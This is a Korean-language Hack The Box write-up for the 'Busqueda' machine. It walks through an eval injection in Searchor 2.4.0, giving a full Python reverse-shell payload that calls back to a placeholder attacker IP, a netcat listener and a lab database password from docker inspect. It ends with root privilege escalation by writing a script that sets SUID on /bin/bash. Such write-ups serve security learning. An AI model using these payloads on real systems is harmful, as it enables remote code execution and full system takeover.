HTB의 Busqueda 머신을 해결하는 과정을 기록
머신을 실행하고 발급된 머신의 IP를 대상으로 포트스캔을 먼저 진행했다.
naabu -host 10.10.11.208 -p - --nmap-cli "nmap -sV"
대상에는 22/TCP
, 80/TCP
가 열려있는 것을 스캔 결과로 확인할 수 있고 대상 호스트는 searcher.htb
라는 도메인이 사용되고 있다.
웹 서비스(80/tcp)에 직접 접근하니 아래와 같이 각종 서비스의 검색 쿼리를 통해 입력받은 쿼리를 대상 서비스에 검색하는 URL을 생성해주는 서비스이다.
Wappalyzer를 통해 확인된 기술 스펙은 Flask 2.1.2
, Python 3.10.6
으로 확인되며, 메인 페이지 푸터부분에 Powered by Flask and Searchor 2.4.0
라고 명시되어있다.
Flask라는 부분에서 SSTI
취약점을 통해 초기 접근이 가능할 것으로 예상해서 아래와 같은 순서로 전달되는 파라미터에 테스트를 진행했으나 예상이 빗나갔다.
SQLi나 Path Traversal같은 취약점이 발견될 수 있을까 시도해봤지만 아무것도 찾을 수 없었다. 쉬움 난이도 문제라 기대를 안하고 들어왔지만 쉬움 난이도에서 너무 빨리 막혀버려서 당황했다.
여러 시도를 하다가 위에서 확인한 Flask와 Searchor의 알려진 취약점이 존재하는지 확인했다.
Searchor은 Python에서 사용가능한 검색 라이브러리이다.
찾다보니 Searchor 깃허브 릴리즈 페이지 내용 중 취약점이 패치됐다는 내용을 확인할 수 있다. v.2.4.2에서 패치됐으니 현재 대상 서비스가 사용중인 Searchor v.2.4.0에서는 취약점 악용이 가능할 것으로 예상된다.
패치된 커밋을 확인하니 아래와 같이 전달받는 파라미터(engine, query)를 eval
로 감싸서 포멧팅하고있다.
이는 매우 위험한 코드이며 현재 대상 서비스에서 확인할 수 있는 HTTP Request를 보면 아래와 같이 Searchor 라이브러리에 engine과 query에 들어갈 것으로 강하게 예상되는 파라미터들이 전달된다.
해당 구문은 백앤드 Python 코드에서 실행되므로 위 커밋의 내용을 기반으로 Reverse Connection을 위한 코드를 삽입해보겠다.
다시 한번 확인하면 eval이 사용되는 라인은 다음과 같다. query 부분을 잘 끼워맞추면 될 것 같다.
eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
eval의 내용 중 싱글쿼터를 유의하여 Syntax를 잘 맞춰서 넣으려면 ', exec());#
와 같은 형태의 코드를 query 파라미터를 통해 전달하면 될것이다. 최종적으로 아래와 같은 페이로드를 query 파라미터에 전달한다.
', exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("공격자_IP",공격자_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'));#
제작한 페이로드를 전달하기 전에 nc -lvnp 9001
명령을 통해 리스닝 포트를 열어두고 query파라미터에 전달하니 대상 호스트의 쉘이 등장했다.
쉘이 불편하니 python3 -c 'import pty; pty.spawn("/bin/bash")'
명령을 통해 대화형 쉘로 전환한다.
서비스 소스코드 등 여러가지를 찾아봤으나 별 내용은 없었고, .git/config
에서 개발자가 사용한 내부 레포지토리(gitea)의 계정 정보를 확인할 수 있었다.
확인된 레포지토리(gitea.searcher.htb)에 접근하여 cody 계정으로 로그인하여 레포지토리를 살펴보니 별 내용은 없었고 최초로 접근했던 검색 서비스를 제공하는 페이지의 소스코드만 확인 가능했다. (+ 관리자 계정명은 administrator)
혹시나 administrator 계정의 패스워드가 동일할것으로 예상되어 시도했지만 불가능했다. 빠르게 포기하고 시스템 정찰을 하던 중 localhost에 여러 포트들이 열려있는것을 볼 수 있었다. (42481 포트는 Reverse Connection 시 사용되는 포트)
또 해당 계정(svc)의 sudo 권한을 확인하기 위해 sudo -l
을 입력했으나 아차... 비밀번호를 모른다. 그치만 위에서 확인한 cody의 gitea 계정 패스워드를 입력하니 sudo 권한을 확인할 수 있었다;
확인된 sudo 권한은 특정 python 스크립트를 실행할 수 있는 권한으로 일단 바로 실행해보았으며, 해당 스크립트는 3가지의 엑션이 가능한것을 확인 가능했다. (해당 스크립트에 읽기 권한이 없어 내용은 확인 불가능)
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
명령을 통해 위에서 netstat으로 확인했던 여러 로컬 포트 중 3000은 gitea 서비스, 3306은 mysql 서비스인것을 확인할 수 있었다.
다음은 docker-inspect
엑션인데 docker-ps는 알고있지만 docker-inspect는 생소해서 리서치를 했고, 해당 명령은 docker 이미지나 컨테이너의 세부 정보를 출력하는 명령이란것을 알게됐다.
해당 스크립트의 docker-inspect를 실행하니 포맷과 컨테이너명을 인자로 받았으며 포맷은 json으로 지정해서 docker-ps 결과에서 확인된 컨테이너들의 세부 정보를 확인한다.
컨테이너 ID 960873171e2e는 gitea 서비스를 구동하고있는데 환경변수에서 DB 패스워드를 확인할 수 있었다.
{
"Hostname": "960873171e2e",
"Domainname": "",
"User": "",
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],
"Cmd": [
"/bin/s6-svscan",
"/etc/s6"
],
"Image": "gitea/gitea:latest",
"Volumes": {
"/data": {},
"/etc/localtime": {},
"/etc/timezone": {}
},
"WorkingDir": "",
"Entrypoint": [
"/usr/bin/entrypoint"
],
"OnBuild": null,
...
...
...
}
시스템에 mysql 클라이언트가 설치되어있어 접속해보니 접근제어에서 막히는것으로 예상된다. 그렇다면 DB 패스워드로 gitea 관리자 계정(administrator)에 접근이 가능할까? 그렇다.
sudo 권한에서 확인된 Python 스크립트의 내용을 확인할 수 있다.
스크립트의 내용을 확인하면서 스크립트의 각 엑션들이 동작하는 함수를 확인할 수 있었으며 스크립트 Usage에서 확인된 docker-ps
, docker-inspect
, full-checkup
엑션 중 실행안해본 full-checkup 엑션에서 취약한 코드가 발견됐다.
해당 스크립트는 sudo 권한으로 동작되며 full-checkup 엑션을 실행하면 full-checkup.sh
이 root로 동작한다. 즉 현재 디렉터리에 full-checkup.sh를 생성하고 권한 상승할 수 있는 스크립트를 채워넣어 실행하면 권한 상승이 가능할 것으로 예상된다.
def process_action(action):
if action == 'docker-inspect':
try:
_format = sys.argv[2]
if len(_format) == 0:
print(f"Format can't be empty")
exit(1)
container = sys.argv[3]
arg_list = ['docker', 'inspect', '--format', _format, container]
print(run_command(arg_list))
except IndexError:
print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
exit(1)
except Exception as e:
print('Something went wrong')
exit(1)
elif action == 'docker-ps':
try:
arg_list = ['docker', 'ps']
print(run_command(arg_list))
except:
print('Something went wrong')
exit(1)
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
def run_command(arg_list):
r = subprocess.run(arg_list, capture_output=True)
if r.stderr:
output = r.stderr.decode()
else:
output = r.stdout.decode()
return output
아래와 같은 스크립트를 full-checkup.sh이라는 파일명으로 작성하고 실행권한을 부여한 후 full-checkup을 실행하니 반응이 없다. 다시 코드를 확인해보니 run_command
함수는 명령어 실행 후 stdout을 리턴한다. 쉘이 떨어질 수 없다.
#!/bin/bash
vi -c ':!/bin/sh' /dev/null
스크립트 내용을 수정하여 /bin/bash 파일에 SetUID권한을 추가하는 스크립트를 작성하고 실행 권한을 주어 실행했더니 /bin/bash의 권한이 변경된것을 볼 수 있었다.
#!/bin/bash
chmod +s /bin/bash
SetUID가 설정된 /bin/bash에 -p 옵션을 주어 실행한다.
자세한 내용은 suid binary privilege escalation 참고
/bin/bash -p
이렇게 root flag를 탈취하면서 해당 머신을 해결할 수 있었다. 쉬움 난이도라 만만하게봤다가 시간이 오래걸렸다... 아무튼 성공.